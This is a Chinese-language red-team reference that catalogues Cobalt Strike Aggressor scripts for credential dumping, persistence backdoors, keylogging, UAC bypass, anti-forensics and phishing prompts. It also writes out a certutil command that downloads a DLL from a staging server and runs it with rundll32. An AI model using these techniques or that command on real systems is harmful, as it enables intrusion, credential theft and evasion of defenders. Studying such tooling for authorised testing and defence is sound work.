Cobalt Strike 之: Aggressor Script
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Cobalt Strike Aggressor Script
- Cobalt Strike Aggressor Script
- 1 ProcessTree.cna 与 ProcessColor.cna
- 3 Vincent Yiu 脚本合集
- 4 harleyQu1nn 脚本合集
- 5 bluscreenofjeff 脚本合集
- 5.1 beacon_to_empire.cna
- 5.2 beaconestablishednote.cna
- 5.3 beaconid_note.cna
- 5.4 mimikatz-every-30m.cna
- 5.5 mimikatz-timestamp-note-BETA.cna
- 5.6 ping_aliases.cna
- 5.7 powershell.cna
- 5.8 ps-window-alias.cna
- 5.9 silver-tickets.cna
- 5.10 sleep-down-when-no-operators.cna
- 5.11 sleeptimer.cna
- 5.12 beaconpire.cna
- 5.13 CCDC 目录下脚本
- 5.14 OPSEC Profiles 目录下脚本
- 6 ramen0x3f 脚本合集
- 其他人收集的相关脚本
- 7 persistence.cna 持久化脚本
- 8 rasta-mouse 的脚本
- 9 RhinoSecurityLabs:BypassUAC
- 10 Und3rf10w 脚本
- 11 001SPARTaN 脚本合集
- 12 gaudard 红队脚本合集
- 13 其他脚本集合
Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言,由Sleep语言解析,Cobalt Strike 3.0以上版本的菜单、选项、事件都由default.cna构建。红队人员可以通过它来调用一些IRC、Webhook接口去对接机器人,实现自动化渗透与监控,Aggressor Script是Cobalt Strike这款C2平台的画龙点睛之笔
1 ProcessTree.cna 与 ProcessColor.cna
-
下载地址:ars3n11/Aggressor-Scripts: Cobalt Strike aggressor scripts (github.com)
-
功能:ps命令展示进程树并上色,作者实际上是修改自 harleyQu1nn 的 ProcessColor.cna,现在两者功能已经完全一致了。
2 elevate.cna
-
功能:CS作者rsmudge大佬官方出品,增加几种提权方式。
3 Vincent Yiu 脚本合集
3.1 CVE-2018-4878.cna
-
下载地址:vysecurity/CVE-2018-4878: Aggressor Script to launch IE driveby for CVE-2018-4878 (github.com)
-
功能:VincentYiu写的一键起CVE-2018-4878(Flash漏洞)服务脚本
3.2 auto-prepenv.cna
- 功能:auto-prepenv.cna 机器上线时自动把explorer.exe设置为ppid,测试时不知道是不是权限原因没有生效。
3.3 Blacklist.cna
- 功能:Blacklist.cna 可以实现设置一个上线机器的黑名单列表,如果机器再次上线会自动退出会话。适用于遇到溯源或者蜜罐以及一些虚拟分析环境。
3.4 mimikatz_addons.cna
- 功能:mimikatz_addons.cna 则是新注册了一个password_change命令,可以实现直接使用mimikatz的密码更改功能强制修改NTLM哈希。
3.5 ping.cna
-
功能:ping.cna 注册一个ping命令,并转换IP地址为HEX的形式去执行该命令。
3.6 portfwd.cna
- 功能:portfwd.cna 会注册一个portfwd命令,可以实现端口转发。
3.7 vnc-psh.cna
- 功能:
- vnc-psh.cna 是一个把Invoke-Vnc.ps1 注入到内存当中开启VNC服务的脚本,默认端口为5900,密码为SuperMan123。
4 harleyQu1nn 脚本合集
4.1 AVQuery.cna
-
功能:AVQuery.cna 检查杀毒是通过检查注册表键值来判断,同样的可以自行添加自己需要的条目。
AV_Query
4.2 ArtifactPayloadGenerator.cna
-
功能:ArtifactPayloadGenerator.cna 生成多种类型的后门文件,生成的结果位于cs目录下的
opt\cobaltstrike
目录下。
4.3 CertUtilWebDelivery.cna
-
功能:类似使用CertUtil下载文件
-
命令执行:
powerpick certutil.exe -urlcache -split -f http://192.168.0.2:280/dll.txt Adobedll.dll; rundll32.exe Adobedll.dll,StartW powerpick:不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )。
CertUtil下载文件参考:certutil在传输payload中的新奇技巧 - admin-神风 - 博客园 (cnblogs.com)
4.4 EDR.cna
-
功能:EDR.cna使用检测驱动的方式来检测是否存在终端安全产品。相对于主流杀毒软件,EDR 终端安全产品主要用来反APT类的持久化攻击,所以较之常规杀毒更为难缠。
# edr_query [hostname] [arch] edr_query localhost x64 # localhost 表示为本地主机
4.5 logvis.cna
-
功能:logvis.cna 实现了beacon command log的可视化。
4.6 ProcessMonitor.cna
-
功能:ProcessMonitor.cna 可以实现指定时间段内对于程序运行情况的监控。
ProcessMonitor Start 1m
4.7 RedTeamRepo.cna
-
功能:RedTeamRepo.cna 当中包含了不少tips,可以使用RedRepo命令查看。
4.8 SMBPayloadGenerator.cna
-
功能:SMBPayloadGenerator.cna 可以生成基于SMB类型 listener 的 payload,同样是输出到
opt\cobaltstrike
目录下,在目标主机上运行该 Payload 可获得 Beacon 会话。
4.9 logger.cna
-
功能:Logging目录下的 logger.cna 可以将log导出到HTML,log也位于
opt\cobaltstrike
目录中。
5 bluscreenofjeff 脚本合集
- 下载地址:bluscreenofjeff/AggressorScripts: Aggressor scripts for use with Cobalt Strike 3.0+ (github.com)
5.1 beacon_to_empire.cna
-
功能:beacon_to_empire.cna 可以一键把会话弹到empire,不过需要提前在cna脚本当中配置好empire的信息。
5.2 beaconestablishednote.cna
-
功能:beaconestablishednote.cna 用来给新上线的机器备注时间,虽然event log当中有,但是这里备注相对直观。
5.3 beaconid_note.cna
- 功能:beaconid_note.cna会给所有机器备注修改为bid,作者在注释中写到该脚本主要在编写aggressor脚本时使用。
5.4 mimikatz-every-30m.cna
-
功能:mimikatz-every-30m.cna 可以实现每30分钟抓一次密码,想修改时间的话可以直接在脚本当中修改。
5.5 mimikatz-timestamp-note-BETA.cna
- 功能:mimikatz-timestamp-note-BETA.cna 用来给mimikatz的运行结果添加一个时间戳,目前为测试版本,可配合mimikatz-every-30m.cna脚本使用的。
5.6 ping_aliases.cna
-
功能:ping_aliases.cna 脚本增加了“qping”和“smbscan”两条命令。,
# qping只ping目标一下 qping [target] # smbscan用来扫描SMB的445端口且支持ip段。 portscan [targets] none
5.7 powershell.cna
-
功能:powershell.cna 快速利用 PowerUp.ps1 和 powerview.ps1。使用前需要将 PowerUp.ps1 和 powerview.ps1 文件移动到 powershell.cna 脚本当前目录下
5.8 ps-window-alias.cna
-
功能:ps-window-alias.cna 为命令行中增加pspane命令一键打开processlist。
5.9 silver-tickets.cna
-
功能:silver-tickets.cna 可以一键制作一个白银票据。
5.10 sleep-down-when-no-operators.cna
- 功能:sleep-down-when-no-operators.cna 可以实现当没有黑客在线时自动把sleep的时间调长。
5.11 sleeptimer.cna
-
功能:sleeptimer.cna 则可以根据人类作息自动设置sleep间隔,默认时间是晚八点到早六点。
5.12 beaconpire.cna
-
功能:Beaconpire目录下的beaconpire.cna 实现empire相关配置参数的可视化控制,以及与empire实现一定程度的联动。
5.13 CCDC 目录下脚本
5.13.1 lulz.cna
- lulz.cna 是一个整人脚本,功能与国外一些远控的joke很相似,可以实现 使用IE打开网页、弹消息框、关机、召唤clippy、打开boo.exe。
5.13.2 misc.cna
- 功能:misc.cna 可以实现单条修改目标机器hosts、替换目标机器hosts文件。
5.13.3 sysinternal-killer.cna
- 功能:sysinternal-killer.cna 微软工具包专杀。
5.14 OPSEC Profiles 目录下脚本
- 功能:OPSEC Profiles 目录下的脚本会覆盖内置的Cobalt Strike命令,主要目的应该是为了防止误操作,如:cmd-execution.cna
6 ramen0x3f 脚本合集
6.1 bueller.cna
-
功能:bueller.cna通过端口扫描来检测哪个 Beacon 可以访问哪些特定的主机
1. 选择所有的 Beacon 会话 2. 右键选择 "Bueller? Anyone?" 3. 输入目标的主机与端口 4. 在 "Script Console" 查看结果
6.2 cdolla.cna
-
功能:cdolla.cna 检测当前上线机器当中哪些目标为本地管理员,并列出哪些用户在90天内登陆过。
1. 选择一个 Beacon 会话 2. 右键选择 "cdolla" 2. beacon 会话下:cdolla [-users] 3. 扫描一个目标:cdolla 10.10.10.10 [-users]
6.3 portscan_results.cna
-
功能:portscan_results.cna 会在view下新加一栏"Port Scan Results",用来展示portscan的结果,并且支持排序。
其他人收集的相关脚本
6.1 michalkoczwara 收集
6.1.1 service-reboot.cna
-
功能:service-reboot.cna 会使用sc创建一个后门服务,重启有效。
6.1.2 sticky-keys.cna
-
功能:sticky-keys.cna 会修改防火墙规则然后把粘滞键在注册表的记录修改为cmd,实现远程连接目标主机调出粘滞键后门。
6.2 CobaltStrike-ToolKit
6.2.1 DA-Watch.cna
- 功能:DA-Watch.cna 可以避免使用 powershell,同样可以实现对DA一定程度的监控,命令有:uaddDA、uremDA、ulistDA、uhookOn、uhookOff、Credential Checks。这个脚本没有将命令注册到beacon命令行里,需要在script console中执行。
6.2.2 Initial-DACheck.cna
- 功能:Initial-DACheck.cna 会在机器上线时对域用户组进行枚举,同时也可以使用命令行中新增的checkda命令进行主动检测。
6.2.3 Initial-LAdminCheck.cna
- 功能:Initial-LAdminCheck.cna 如果检测到上线机器当前用户为普通管理员会自动 bypassuac 然后 logonPassword 抓密码。命令行中对应的独立命令是checkla。
7 persistence.cna 持久化脚本
7.1 ZonkSec
-
下载地址:ZonkSec/persistence-aggressor-script: initial commit (github.com)
-
功能:persistence.cna 简单来说就是通过注册表, 写服务, WMI, linkinfo, 粘滞键5种方式通过9种手法实现持久控制,在命令行中新注册了一个persistence命令。
8 rasta-mouse 的脚本
8.1 loader.cna
-
功能:loader.cna 一键导入 elevate.cna 和 persistence.cna 脚本
8.2 dcom.cna
-
功能:lateral 目录下的 dcom.cna 是使用DCOM运行PowerShell在远程主机上生成会话。
9 RhinoSecurityLabs:BypassUAC
-
下载地址:RhinoSecurityLabs/Aggressor-Scripts: Aggregation of Cobalt Strike's aggressor scripts. (github.com)
-
功能:增加 Bypass UAC 方式
10 Und3rf10w 脚本
10.1 KitLoader.cna
- 功能:KitLoader.cna 可以一键导入Aggressor-scripts-master\kits 中的8个脚本
10.2 AnnoyKit.cna
- 功能:AnnoyKit.cna 的功能主要是整蛊型的,包括隐藏IE的进程,播放整蛊歌曲等方式。
10.3 AntiForensicsKit.cna
- 功能:AntiForensicsKit.cna 主要功能是反取证,包括检查虚拟机环境、清除日志、对付CarbonBlack等等。
10.4 CredKit.cna
- 功能:CredKit.cna 是一个凭证窃取的小集合,包括Firefox、寻找keepass的配置文件、获取keepass数据库的key、运行Invoke-mimikittenz。
10.5 EnumKit.cna
- 功能:EnumKit.cna 包含的功能很多,包括获取主机WLAN密码、更新时间、用户权限情况、ip、安装应用等,也有定位carbon black的CB server和联动bloodhound的功能。
10.6 PersistKit.cna
- 功能:PersistKit.cna 是持久控制模块,可以创建后门服务,NTFS ADS后门和无文件后门。
10.7 PrivescKit.cna
- 功能:PrivescKit.cna 主要是借助power up 把提权模块遍历扫描一遍。
10.8 thirdparty.cna
- 功能:thirdparty.cna 在命令行中注册了一条com-exec 命令,可以实现通过DCOM在目标上机器上弹shell。
10.9 auto-keylogger.cna
- 功能:auto-keylogger.cna 可以实现在机器上线时自动进行键盘记录。
10.10 inveigh.cna
- 功能:inveigh.cna 会在机器上运行指定时间的Inveigh,自动启用LLMNR和NBNS欺骗。
10.11 ebowla-interop.cna
- 功能:ebowla-interop.cna 可以借助ebwola创建加密的payload,不过需要自己提前下好ebwola.py 放到目录下。
10.3 PersistKit.cna
- PersistKit.cna 是持久控制模块,可以创建后门服务,NTFS ADS后门和无文件后门。
10.4 CredKit.cna
- 功能:CredKit.cna 是一个凭证窃取的小集合,包括Firefox、寻找keepass的配置文件、获取keepass数据库的key、运行Invoke-mimikittenz。
11 001SPARTaN 脚本合集
- 下载地址:001SPARTaN/aggressor_scripts: A collection of useful scripts for Cobalt Strike (github.com)
- 新的ElevateKit 下载地址:001SPARTaN/ElevateKit: The Elevate Kit demonstrates how to use third-party privilege escalation attacks with Cobalt Strike's Beacon payload. (github.com)
12 gaudard 红队脚本合集
scripts/red-team/aggressor at master · gaudard/scripts (github.com)
13 其他脚本集合
- branthale/CobaltStrikeCNA: Cobalt Strike Aggressor Scripts (github.com)
- hybridious/CVE-2018-4878: Aggressor Script to just launch IE driveby for CVE-2018-4878 (github.com) :修改自VYsec版本的CVE-2018-4878,就是起一个 CVE-2018-4878 的payload。
- oldb00t/AggressorScripts: Cobaltstrike Aggressor Scripts (github.com)
- p292/Phant0m_cobaltstrike: Aggressor script to integrate Phant0m with Cobalt Strike (github.com): disableeventvwr.cna 加载 Invoke-Phant0m.ps1 禁用事件查看器。
- p292/DDEAutoCS: A cobaltstrike script that integrates DDEAuto Attacks (github.com):ddeauto.cna 可以一键起一个psh的payload server,然后生成DDE一键上线语句,Ctrl+F9添加。
- skyleronken/Aggressor-Scripts: Cobalt Strike Aggressor Scripts (github.com):
- powershell_survey.cna是一个借助 PSH 检测目标机器状况的插件,检测对象包括PSH和.NET。
- tevora-threat/PowerView3-Aggressor: Cobalt Strike Aggressor script menu for Powerview/SharpView (github.com)
- 红队大神:threatexpress/red-team-scripts: A collection of Red Team focused tools, scripts, and notes (github.com)
- FortyNorthSecurity/AggressorAssessor: Aggressor scripts for phases of a pen test or red team assessment (github.com)
- mdsecactivebreach/CACTUSTORCH: CACTUSTORCH: Payload Generation for Adversary Simulations (github.com):Vincent Yiu团队的作品。CACTUSTORCH.cna 只是整个项目当中的一部分,该项目可以实现通过 JavaScript 和VBScript进行shellcode注入。开始的时候免杀效果好一些,现在被杀的比较狠了。
- C0axx/AggressorScripts (github.com):基于cs 的一个 SharpHound 辅助插件,SharpHound.cna 会在右键菜单当中增加一个 Invoke-Bloodhound 选项,命令执行方式有:PowerPick、PowerShell、Execute-Assembly 三种方式。
- scanfsec/CVE-2018-15982: Aggressor Script to launch IE driveby for CVE-2018-15982. (github.com)
- offsecginger/AggressorScripts: Various Aggressor Scripts I've Created. (github.com):生成自定义payload
- tomsteele/cs-magik: WIP event and job queue using redis for Cobalt Strike (github.com):借助 redis 来实现事件通道和作业队列,没有搭建测试,可以自己参照说明尝试。
- bitsadmin/nopowershell: PowerShell rebuilt in C# for Red Teaming purposes (github.com):nopowershell是一个基于C#用来替代PowerShell的项目, NoPowerShell.cna 只是一个用来注册命令的壳,该条命令是"nps"。然后整个项目依托于NoPowerShell.exe,所以需要提前在项目的releases下载或者自己编译NoPowerShell.exe 然后放到cs的/script 目录下。
- fox-it/Invoke-CredentialPhisher (github.com):作者通过PSH实现了Windows几种场景下的钓鱼弹窗,诱导目标输出账号密码之后会带回teamserver,
- SpiderLabs/SharpCompile: (github.com):SharpCompile项目可以实现在靶机上实时编译和执行C#